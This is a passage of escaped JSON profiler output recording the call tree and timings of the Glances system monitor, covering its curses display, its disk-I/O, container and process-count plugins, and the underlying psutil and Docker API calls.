\"[self]\",\"time\": 0.100405,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100490,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048962900327751, \"l1202\": 0.10048962900327751},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100490,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100490,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.106108,\"attributes\": {\"cGlancesStats\": 0.10610750100022415, \"l287\": 0.10610750100022415},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.106108,\"attributes\": {\"cGlancesStats\": 0.10610750100022415, \"l575\": 0.10610750100022415},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.106108,\"attributes\": {\"l571\": 0.10610750100022415},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.106108,\"attributes\": {\"cGlancesStats\": 0.10610750100022415, \"l274\": 0.08410808800545055, \"l275\": 0.019997068993689027, \"l276\": 0.002002344001084566},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.064215,\"attributes\": {\"cDiskioPlugin\": 0.004019633001007605, \"l1278\": 0.06421477499679895, \"cContainersPlugin\": 0.0019936109965783544, \"cProcesscountPlugin\": 0.05820153099921299},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.064215,\"attributes\": {\"l1295\": 0.06421477499679895},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.004020,\"attributes\": {\"cDiskioPlugin\": 0.004019633001007605, \"l114\": 0.004019633001007605},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.004020,\"attributes\": {\"cDiskioPlugin\": 0.004019633001007605, \"l1351\": 0.002029272996878717, \"l1362\": 0.0019903600041288882},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.002029,\"attributes\": {\"cDiskioPlugin\": 0.002029272996878717, \"l148\": 0.002029272996878717},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.002029,\"attributes\": {\"l2129\": 0.002029272996878717},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.002029,\"attributes\": {\"l1106\": 0.002029272996878717},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002029,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"compute_rate_on_list\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001339\",\"time\": 0.001990,\"attributes\": {\"cDiskioPlugin\": 0.0019903600041288882, \"l1346\": 0.0019903600041288882},\"children\": [{\"identifier\": \"compute_rate\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001307\",\"time\": 0.001990,\"attributes\": {\"cDiskioPlugin\": 0.0019903600041288882, \"l1320\": 0.0019903600041288882},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001990,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.001994,\"attributes\": {\"cContainersPlugin\": 0.0019936109965783544, \"l252\": 0.0019936109965783544},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.001994,\"attributes\": {\"l256\": 0.0019936109965783544},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.001994,\"attributes\": {\"l248\": 0.0019936109965783544},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.001994,\"attributes\": {\"cDockerExtension\": 0.0019936109965783544, \"l260\": 0.0019936109965783544},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.001994,\"attributes\": {\"cContainerCollection\": 0.0019936109965783544, \"l1009\": 0.0019936109965783544},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.001994,\"attributes\": {\"cAPIClient\": 0.0019936109965783544, \"l212\": 0.0019936109965783544},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.001994,\"attributes\": {\"cAPIClient\": 0.0019936109965783544, \"l44\": 0.0019936109965783544},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.001994,\"attributes\": {\"cAPIClient\": 0.0019936109965783544, \"l246\": 0.0019936109965783544},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.001994,\"attributes\": {\"cAPIClient\": 0.0019936109965783544, \"l602\": 0.0019936109965783544},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.001994,\"attributes\": {\"cAPIClient\": 0.0019936109965783544, \"l575\": 0.0019936109965783544},\"children\": [{\"identifier\": \"prepare_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000457\",\"time\": 0.001994,\"attributes\": {\"cAPIClient\": 0.0019936109965783544, \"l484\": 0.0019936109965783544},\"children\": [{\"identifier\": \"prepare\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u0000351\",\"time\": 0.001994,\"attributes\": {\"cPreparedRequest\": 0.0019936109965783544, \"l368\": 0.0019936109965783544},\"children\": [{\"identifier\": \"prepare_headers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u0000483\",\"time\": 0.001994,\"attributes\": {\"cPreparedRequest\": 0.0019936109965783544, \"l492\": 0.0019936109965783544},\"children\": [{\"identifier\": \"__setitem__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/structures.py\\u000046\",\"time\": 0.001994,\"attributes\": {\"cCaseInsensitiveDict\": 0.0019936109965783544, \"l49\": 0.0019936109965783544},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.058202,\"attributes\": {\"cProcesscountPlugin\": 0.05820153099921299, \"l85\": 0.05820153099921299},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.058202,\"attributes\": {\"cGlancesProcesses\": 0.05820153099921299, \"l617\": 0.05199905700283125, \"l621\": 0.001999613996304106, \"l653\": 0.0025768740015337244, \"l659\": 0.0016259859985439107},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.051999,\"attributes\": {\"cGlancesProcesses\": 0.05199905700283125, \"l478\": 0.044001209003909025, \"l493\": 0.007997847998922225},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.044001,\"attributes\": {\"l1541\": 0.0024671890059835277, \"l1558\": 0.0415340199979255},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002467,\"attributes\": {\"l1485\": 0.0024671890059835277},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002467,\"attributes\": {\"l1526\": 0.0024671890059835277},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002467,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002467,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.041534,\"attributes\": {\"cProcess\": 0.0415340199979255, \"l579\": 0.035540596989449114, \"l572\": 0.001996589002374094, \"l578\": 0.00399683400610229},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001536,\"attributes\": {\"cProcess\": 0.0015364349965238944, \"l382\": 0.0015364349965238944},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001536,\"attributes\": {\"cProcess\": 0.0015364349965238944, \"l1138\": 0.0015364349965238944},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001536,\"attributes\": {\"cProcess\": 0.0015364349965238944, \"l1593\": 0.0015364349965238944},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001536,\"attributes\": {\"cProcess\": 0.0015364349965238944, \"l1878\": 0.0015364349965238944},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001536,\"attributes\": {\"l682\": 0.0015364349965238944},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001536,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001536,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"helper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000303\",\"time\": 0.001997,\"attributes\": {\"l305\": 0.001996589002374094},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000108\",\"time\": 0.001997,\"attributes\": {\"c_GeneratorContextManager\": 0.001996589002374094, \"l112\": 0.001996589002374094},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998654995986726, \"l836\": 0.001998654995986726},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998654995986726, \"l1593\": 0.001998654995986726},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012130044051446, \"l680\": 0.0020012130044051446},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012130044051446, \"l1593\": 0.0020012130044051446},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012130044051446, \"l1740\": 0.0020012130044051446},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012130044051446, \"l1593\": 0.0020012130044051446},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012130044051446, \"l382\": 0.0020012130044051446},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020012130044051446, \"l1683\": 0.0020012130044051446},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006000965993735008, \"l382\": 0.006000965993735008},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999140993983019, \"l1127\": 0.003999140993983019},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999140993983019, \"l1593\": 0.003999140993983019},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999140993983019, \"l1829\": 0.001998656000068877, \"l1835\": 0.0020004849939141423},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998656000068877, \"l1593\": 0.001998656000068877},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001824999751989, \"l1138\": 0.002001824999751989},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001824999751989, \"l1593\": 0.002001824999751989},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001824999751989, \"l1878\": 0.002001824999751989},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.002001824999751989},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005010010208935, \"l680\": 0.0020005010010208935},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005010010208935, \"l1593\": 0.0020005010010208935},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005010010208935, \"l1740\": 0.0020005010010208935},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005010010208935, \"l1593\": 0.0020005010010208935},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005010010208935, \"l382\": 0.0020005010010208935},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020005010010208935, \"l1683\": 0.0020005010010208935},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002001,\"attributes\": {\"l730\": 0.0020005010010208935},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002001,\"attributes\": {\"l719\": 0.0020005010010208935},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004969992442057, \"l687\": 0.0020004969992442057},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004969992442057, \"l748\": 0.0020004969992442057},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004969992442057, \"l1593\": 0.0020004969992442057},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020004969992442057, \"l1755\": 0.0020004969992442057},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00199994099966716, \"l812\": 0.00199994099966716},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00199994099966716, \"l1593\": 0.00199994099966716},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00199994099966716, \"l2268\": 0.00199994099966716},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006000664994644467, \"l836\": 0.006000664994644467},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006000664994644467, \"l1593\": 0.006000664994644467},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006000664994644467, \"l1799\": 0.006000664994644467},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002012,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001984,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020290030515753, \"l939\": 0.0020020290030515753},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020290030515753, \"l1593\": 0.0020020290030515753},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020020290030515753, \"l2053\": 0.0020020290030515753},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000434004003182, \"l680\": 0.002000434004003182},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000434004003182, \"l1593\": 0.002000434004003182},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000434004003182, \"l1740\": 0.002000434004003182},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000434004003182, \"l1593\": 0.002000434004003182},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000434004003182, \"l382\": 0.002000434004003182},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000434004003182, \"l1683\": 0.002000434004003182},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.002000434004003182},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.002000434004003182},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199942499602912, \"l836\": 0.00199942499602912},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199942499602912, \"l1593\": 0.00199942499602912},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199942499602912, \"l1799\": 0.00199942499602912},\"children\": [{\"identifier\": \"bytes.strip\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990420041722246, \"l687\": 0.0019990420041722246},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990420041722246, \"l748\": 0.0019990420041722246},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990420041722246, \"l1593\": 0.0019990420041722246},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990420041722246, \"l1750\": 0.0019990420041722246},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.001999,\"attributes\": {\"l692\": 0.0019990420041722246},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020014129986520857, \"l1064\": 0.0020014129986520857},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002001,\"attributes\": {\"l1682\": 0.0020014129986520857},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002001,\"attributes\": {\"l538\": 0.0020014129986520857},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002016,\"attributes\": {},\"children\": []},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.005982,\"attributes\": {\"cProcess\": 0.005981736998364795, \"l639\": 0.005981736998364795},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.005982,\"attributes\": {\"cProcess\": 0.005981736998364795, \"l314\": 0.005981736998364795},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.005982,\"attributes\": {\"cProcess\": 0.005981736998364795, \"l347\": 0.005981736998364795},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.005982,\"attributes\": {\"cProcess\": 0.005981736998364795, \"l394\": 0.005981736998364795},\"children\": [{\"identifier\": 